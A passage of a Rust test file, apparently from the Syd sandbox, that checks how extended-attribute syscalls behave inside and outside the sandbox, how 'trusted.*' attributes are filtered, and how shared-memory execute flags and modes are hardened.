.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_xattr_setxattrat_file_linux() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_xattrs_are_supported!();
let syd_do = &SYD_DO.to_string();
let status = Command::new("bash")
.env("ENOSYS", ENOSYS.to_string())
.arg("-cex")
.arg(format!(
r##"
mkdir dir
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3
SYD_TEST_DO=setxattrat_file {syd_do} dir user.test 1 create || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no setxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=setxattrat_file {syd_do} dir user.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_file {syd_do} dir user.none 2 0
SYD_TEST_DO=getxattrat_file {syd_do} dir user.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_file {syd_do} dir user.none > test.2
SYD_TEST_DO=setxattrat_file {syd_do} dir user.test 1 create && exit 2
SYD_TEST_DO=setxattrat_file {syd_do} dir user.test 3 replace
SYD_TEST_DO=getxattrat_file {syd_do} dir user.test > test.3
cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_setxattrat_path_syd_default() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("sandbox/lock:off")
.m("allow/all+/***")
.env("ENOSYS", ENOSYS.to_string())
.env("EPERM", EPERM.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
touch file
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3
SYD_TEST_DO=setxattrat_path {syd_do} file user.test 1 create || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no setxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=setxattrat_path {syd_do} file user.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_path {syd_do} file user.none 2 0
SYD_TEST_DO=getxattrat_path {syd_do} file user.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=getxattrat_path {syd_do} file user.none > test.2
SYD_TEST_DO=setxattrat_path {syd_do} file user.test 1 create && exit 2
SYD_TEST_DO=setxattrat_path {syd_do} file user.test 3 replace
SYD_TEST_DO=getxattrat_path {syd_do} file user.test > test.3
cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3
SYD_TEST_DO=setxattrat_path {syd_do} file trusted.test 1 create || r=$?
case $r in
$ENOSYS)
echo >&2 "no setxattrat support, skipping test!"
exit 0;;
$EPERM)
echo >&2 "setxattrat failed with EPERM as expected!"
;;
*) exit $r;;
esac
unset r
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_setxattrat_path_syd_lockoff() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("lock:off")
.m("sandbox/lock:off")
.m("allow/all+/***")
.env("ENOSYS", ENOSYS.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
touch file
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3
SYD_TEST_DO=setxattrat_path {syd_do} file trusted.test 1 create || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no setxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=setxattrat_path {syd_do} file trusted.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_path {syd_do} file trusted.none 2 0
SYD_TEST_DO=getxattrat_path {syd_do} file trusted.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_path {syd_do} file trusted.none > test.2
SYD_TEST_DO=setxattrat_path {syd_do} file trusted.test 1 create && exit 2
SYD_TEST_DO=setxattrat_path {syd_do} file trusted.test 3 replace
SYD_TEST_DO=getxattrat_path {syd_do} file trusted.test > test.3
cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_setxattrat_file_syd_default() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("sandbox/lock:off")
.m("allow/all+/***")
.env("ENOSYS", ENOSYS.to_string())
.env("EPERM", EPERM.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
mkdir dir
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3
SYD_TEST_DO=setxattrat_file {syd_do} dir user.test 1 create || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no setxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=setxattrat_file {syd_do} dir user.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_file {syd_do} dir user.none 2 0
SYD_TEST_DO=getxattrat_file {syd_do} dir user.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_file {syd_do} dir user.none > test.2
SYD_TEST_DO=setxattrat_file {syd_do} dir user.test 1 create && exit 2
SYD_TEST_DO=setxattrat_file {syd_do} dir user.test 3 replace
SYD_TEST_DO=getxattrat_file {syd_do} dir user.test > test.3
cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3
SYD_TEST_DO=setxattrat_path {syd_do} dir trusted.test 1 create || r=$?
case $r in
$ENOSYS)
echo >&2 "no setxattrat support, skipping test!"
exit 0;;
$EPERM)
echo >&2 "setxattrat failed with EPERM as expected!"
;;
*) exit $r;;
esac
unset r
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_setxattrat_file_syd_lockoff() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("lock:off")
.m("sandbox/lock:off")
.m("allow/all+/***")
.env("ENOSYS", ENOSYS.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
mkdir dir
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3
echo 4 > exp.4
SYD_TEST_DO=setxattrat_file {syd_do} dir user.test 1 create || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no setxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=setxattrat_file {syd_do} dir user.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_file {syd_do} dir user.none 2 0
SYD_TEST_DO=getxattrat_file {syd_do} dir user.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_file {syd_do} dir user.none > test.2
SYD_TEST_DO=setxattrat_file {syd_do} dir user.test 1 create && exit 2
SYD_TEST_DO=setxattrat_file {syd_do} dir user.test 3 replace
SYD_TEST_DO=getxattrat_file {syd_do} dir user.test > test.3
SYD_TEST_DO=setxattrat_file {syd_do} dir trusted.test 1 create
SYD_TEST_DO=setxattrat_file {syd_do} dir trusted.test 4 replace
SYD_TEST_DO=getxattrat_file {syd_do} dir trusted.test > test.4
cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3
cmp test.4 exp.4
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_listxattrat_path_linux() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch", "tr");
skip_unless_cap!("sys_admin");
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch file
setfattr -n user.test.1 -v 1 file
setfattr -n user.test.2 -v 2 file
setfattr -n user.test.3 -v 3 file
setfattr -n trusted.test.4 -v 4 file
setfattr -n trusted.test.5 -v 5 file
setfattr -n trusted.test.6 -v 6 file
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = Command::new("bash")
.env("SYD_TEST_DO", "listxattrat_path")
.env("ENOSYS", ENOSYS.to_string())
.arg("-cex")
.arg(format!(
r##"
for i in {{1..3}}; do
echo user.test.$i >> exp.1
done
for i in {{4..6}}; do
echo trusted.test.$i >> exp.1
done
{syd_do} file > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no listxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
# security.selinux, security.smack etc. are
# outside our control when lock:off.
grep -v security. < test-sort.1 > test-user.1
sort exp.1 > exp-sort.1
cmp test-user.1 exp-sort.1
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_listxattrat_file_linux() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch", "tr");
skip_unless_cap!("sys_admin");
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
mkdir dir
setfattr -n user.test.1 -v 1 dir
setfattr -n user.test.2 -v 2 dir
setfattr -n user.test.3 -v 3 dir
setfattr -n trusted.test.4 -v 4 dir
setfattr -n trusted.test.5 -v 5 dir
setfattr -n trusted.test.6 -v 6 dir
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = Command::new("bash")
.env("SYD_TEST_DO", "listxattrat_file")
.env("ENOSYS", ENOSYS.to_string())
.arg("-cex")
.arg(format!(
r##"
for i in {{1..3}}; do
echo user.test.$i >> exp.1
done
for i in {{4..6}}; do
echo trusted.test.$i >> exp.1
done
{syd_do} dir > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no listxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
# security.selinux, security.smack etc. are
# outside our control when lock:off.
grep -v security. < test-sort.1 > test-user.1
sort exp.1 > exp-sort.1
cmp test-user.1 exp-sort.1
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_listxattrat_path_syd_default() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch", "tr");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch file
setfattr -n user.test.1 -v 1 file
setfattr -n user.test.2 -v 2 file
setfattr -n user.test.3 -v 3 file
setfattr -n trusted.test.4 -v 4 file
setfattr -n trusted.test.5 -v 5 file
setfattr -n trusted.test.6 -v 6 file
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do__("listxattrat_path")
.env("ENOSYS", ENOSYS.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
for i in {{1..3}}; do
echo user.test.$i >> exp.1
done
# Filtered out by Syd!
#for i in {{4..6}}; do
# echo trusted.test.$i >> exp.1
#done
{syd_do} file > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no listxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
cmp test-sort.1 exp.1
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_listxattrat_path_syd_lockoff() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch", "tr");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch file
setfattr -n user.test.1 -v 1 file
setfattr -n user.test.2 -v 2 file
setfattr -n user.test.3 -v 3 file
setfattr -n trusted.test.4 -v 4 file
setfattr -n trusted.test.5 -v 5 file
setfattr -n trusted.test.6 -v 6 file
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("lock:off")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do__("listxattrat_path")
.env("ENOSYS", ENOSYS.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
for i in {{1..3}}; do
echo user.test.$i >> exp.1
done
# Not filtered out by Syd due to lock:off!
for i in {{4..6}}; do
echo trusted.test.$i >> exp.1
done
{syd_do} file > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no listxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
# security.selinux, security.smack etc. are
# outside our control when lock:off.
grep -v security. < test-sort.1 > test-user.1
sort exp.1 > exp-sort.1
cmp test-user.1 exp-sort.1
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_listxattrat_file_syd_default() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch", "tr");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch dir
setfattr -n user.test.1 -v 1 dir
setfattr -n user.test.2 -v 2 dir
setfattr -n user.test.3 -v 3 dir
setfattr -n trusted.test.4 -v 4 dir
setfattr -n trusted.test.5 -v 5 dir
setfattr -n trusted.test.6 -v 6 dir
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do__("listxattrat_path")
.env("ENOSYS", ENOSYS.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
for i in {{1..3}}; do
echo user.test.$i >> exp.1
done
# Filtered out by Syd!
#for i in {{4..6}}; do
# echo trusted.test.$i >> exp.1
#done
{syd_do} dir > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no listxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
cmp test-sort.1 exp.1
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_listxattrat_file_syd_lockoff() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch", "tr");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch dir
setfattr -n user.test.1 -v 1 dir
setfattr -n user.test.2 -v 2 dir
setfattr -n user.test.3 -v 3 dir
setfattr -n trusted.test.4 -v 4 dir
setfattr -n trusted.test.5 -v 5 dir
setfattr -n trusted.test.6 -v 6 dir
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("lock:off")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do__("listxattrat_path")
.env("ENOSYS", ENOSYS.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
for i in {{1..3}}; do
echo user.test.$i >> exp.1
done
# Not filtered out by Syd due to lock:off!
for i in {{4..6}}; do
echo trusted.test.$i >> exp.1
done
{syd_do} dir > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no listxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
# security.selinux, security.smack etc. are
# outside our control when lock:off.
grep -v security. < test-sort.1 > test-user.1
sort exp.1 > exp-sort.1
cmp test-user.1 exp-sort.1
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_removexattrat_path_linux() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_xattrs_are_supported!();
let syd_do = &SYD_DO.to_string();
let status = Command::new("bash")
.env("ENOSYS", ENOSYS.to_string())
.env("ENODATA", ENODATA.to_string())
.arg("-cex")
.arg(format!(
r##"
echo 3 > exp.1
touch file
setfattr -n user.test -v 1 file
setfattr -n trusted.test -v 3 file
SYD_TEST_DO=removexattrat_path {syd_do} file user.test || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no removexattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=getxattrat_path {syd_do} file user.test || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
$ENODATA)
echo >&2 "getxattrat returned ENODATA as expected!"
;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=getxattrat_path {syd_do} file trusted.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
cmp test.1 exp.1
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_removexattrat_file_linux() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_xattrs_are_supported!();
let syd_do = &SYD_DO.to_string();
let status = Command::new("bash")
.env("ENOSYS", ENOSYS.to_string())
.env("ENODATA", ENODATA.to_string())
.arg("-cex")
.arg(format!(
r##"
echo 3 > exp.1
touch dir
setfattr -n user.test -v 1 dir
setfattr -n trusted.test -v 3 dir
SYD_TEST_DO=removexattrat_file {syd_do} dir user.test || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no removexattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=getxattrat_file {syd_do} dir user.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
$ENODATA)
echo >&2 "getxattrat returned ENODATA as expected!"
;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=getxattrat_file {syd_do} dir trusted.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
cmp test.1 exp.1
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_removexattrat_path_syd_default() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch file
setfattr -n user.test -v 1 file
setfattr -n trusted.test -v 3 file
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("sandbox/lock:off")
.m("allow/all+/***")
.env("ENOSYS", ENOSYS.to_string())
.env("ENODATA", ENODATA.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
SYD_TEST_DO=removexattrat_path {syd_do} file user.test || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no removexattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=getxattrat_path {syd_do} file user.test || r=$?
case $r in
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
$ENODATA)
echo >&2 "getxattrat returned ENODATA as expected!"
;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=getxattrat_path {syd_do} file trusted.test > test.1 || r=$?
case $r in
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
$ENODATA)
true;;
*) exit $r;;
esac
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_removexattrat_path_syd_lockoff() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
touch file
setfattr -n user.test -v 1 file
setfattr -n trusted.test -v 3 file
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("lock:off")
.m("sandbox/lock:off")
.m("allow/all+/***")
.env("ENOSYS", ENOSYS.to_string())
.env("ENODATA", ENODATA.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
SYD_TEST_DO=removexattrat_path {syd_do} file user.test || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no removexattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=getxattrat_path {syd_do} file user.test || r=$?
case $r in
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
$ENODATA)
echo >&2 "getxattrat returned ENODATA as expected!"
;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=getxattrat_path {syd_do} file trusted.test > test.1 || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
unset r
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_removexattrat_file_syd_default() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
mkdir dir
setfattr -n user.test -v 1 dir
setfattr -n trusted.test -v 3 dir
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("sandbox/lock:off")
.m("allow/all+/***")
.env("ENOSYS", ENOSYS.to_string())
.env("ENODATA", ENODATA.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
SYD_TEST_DO=removexattrat_file {syd_do} dir user.test || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no removexattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=getxattrat_file {syd_do} dir user.test || r=$?
case $r in
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
$ENODATA)
echo >&2 "getxattrat returned ENODATA as expected!"
;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=removexattrat_file {syd_do} dir trusted.test || r=$?
case $r in
$ENOSYS)
echo >&2 "no removexattrat support, skipping test!"
exit 0;;
$ENODATA)
echo >&2 "removexattrat returned ENODATA as expected!"
;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=getxattrat_file {syd_do} dir trusted.test || r=$?
case $r in
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
$ENODATA)
echo >&2 "getxattrat returned ENODATA as expected!"
;;
*) exit $r;;
esac
unset r
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_xattr_removexattrat_file_syd_lockoff() -> TestResult {
skip_unless_available!("awk", "bash", "getfattr", "setfattr", "touch");
skip_unless_cap!("sys_admin");
skip_unless_trusted!();
skip_unless_xattrs_are_supported!();
let status = Command::new("bash")
.arg("-cex")
.arg(
r##"
mkdir dir
setfattr -n user.test -v 1 dir
setfattr -n trusted.test -v 3 dir
"##,
)
.status()
.expect("execute bash");
if status.code().unwrap_or(127) != 0 {
eprintln!("Failed to set up xattrs, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("fs")
.p("privileged")
.m("lock:off")
.m("sandbox/lock:off")
.m("allow/all+/***")
.env("ENOSYS", ENOSYS.to_string())
.env("ENODATA", ENODATA.to_string())
.argv(["bash", "-cex"])
.arg(format!(
r##"
SYD_TEST_DO=removexattrat_file {syd_do} dir user.test || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no removexattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=getxattrat_file {syd_do} dir user.test || r=$?
case $r in
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
$ENODATA)
echo >&2 "getxattrat returned ENODATA as expected!"
;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=getxattrat_file {syd_do} dir trusted.test || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=removexattrat_file {syd_do} dir trusted.test || r=$?
case $r in
'') true;;
$ENOSYS)
echo >&2 "no removexattrat support, skipping test!"
exit 0;;
*) exit $r;;
esac
unset r
SYD_TEST_DO=getxattrat_file {syd_do} dir trusted.test || r=$?
case $r in
$ENOSYS)
echo >&2 "no getxattrat support, skipping test!"
exit 0;;
$ENODATA)
echo >&2 "getxattrat failed with ENODATA as expected!"
exit 0;;
*) exit $r;;
esac
unset r
"##,
))
.status()
.expect("execute bash");
assert_status_ok!(status);
Ok(())
}
// Checks shmat SHM_X hardening.
#[cfg(not(target_os = "android"))]
fn test_syd_exp_shm_harden_shmat() -> TestResult {
const SHMAT_ALLOWED_FLAGS: &[libc::c_int] = &[
libc::SHM_RDONLY,
libc::SHM_REMAP, // Invalid!
libc::SHM_RDONLY | libc::SHM_REMAP, // Invalid!
];
const SHMAT_DENIED_FLAGS: &[libc::c_int] = &[
libc::SHM_EXEC,
libc::SHM_EXEC | libc::SHM_RDONLY,
libc::SHM_EXEC | libc::SHM_REMAP, // Invalid!
libc::SHM_EXEC | libc::SHM_RDONLY | libc::SHM_REMAP, // Invalid!
];
for (idx, &flag) in SHMAT_ALLOWED_FLAGS.iter().enumerate() {
say!("shmat:CHECK-FLAG-ALLOW: 0x{flag:x}");
let argflg = flag.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_shm:1")
.do_("shmat", [&argflg])
.status()
.expect("execute syd");
if idx == 0 {
assert_status_ok!(status);
} else {
assert_status_invalid!(status);
}
}
for &flag in SHMAT_DENIED_FLAGS {
say!("shmat:CHECK-FLAG-DENY: 0x{flag:x}");
let argflg = flag.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_shm:1")
.do_("shmat", [&argflg])
.quiet()
.status()
.expect("execute syd");
assert_status_killed!(status);
}
for (idx, &flag) in SHMAT_ALLOWED_FLAGS
.iter()
.chain(SHMAT_DENIED_FLAGS)
.enumerate()
{
say!("shmat:CHECK-FLAG-UNSAFE: 0x{flag:x}");
let argflg = flag.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_shm:1")
.m("trace/allow_unsafe_perm_shm:1")
.do_("shmat", [&argflg])
.quiet()
.status()
.expect("execute syd");
match idx {
0 => {
assert_status_ok!(status);
}
3 | 4 => {
assert_status_access_denied!(status);
}
_ => {
assert_status_invalid!(status);
}
}
}
Ok(())
}
// Checks shmget mode hardening.
#[cfg(not(target_os = "android"))]
fn test_syd_exp_shm_harden_shmget() -> TestResult {
for mode in &*SHM_ALLOWED_MODES {
say!("shmget:CHECK-MODE-ALLOW: 0o{mode:03o}");
let argmod = mode.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_shm:1")
.do_("shmget", [&argmod])
.quiet()
.status()
.expect("execute syd");
assert_status_ok!(status);
}
for mode in &*SHM_DENIED_MODES {
say!("shmget:CHECK-MODE-DENY: 0o{mode:03o}");
let argmod = mode.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_shm:1")
.do_("shmget", [&argmod])
.quiet()
.status()
.expect("execute syd");
assert_status_killed!(status);
}
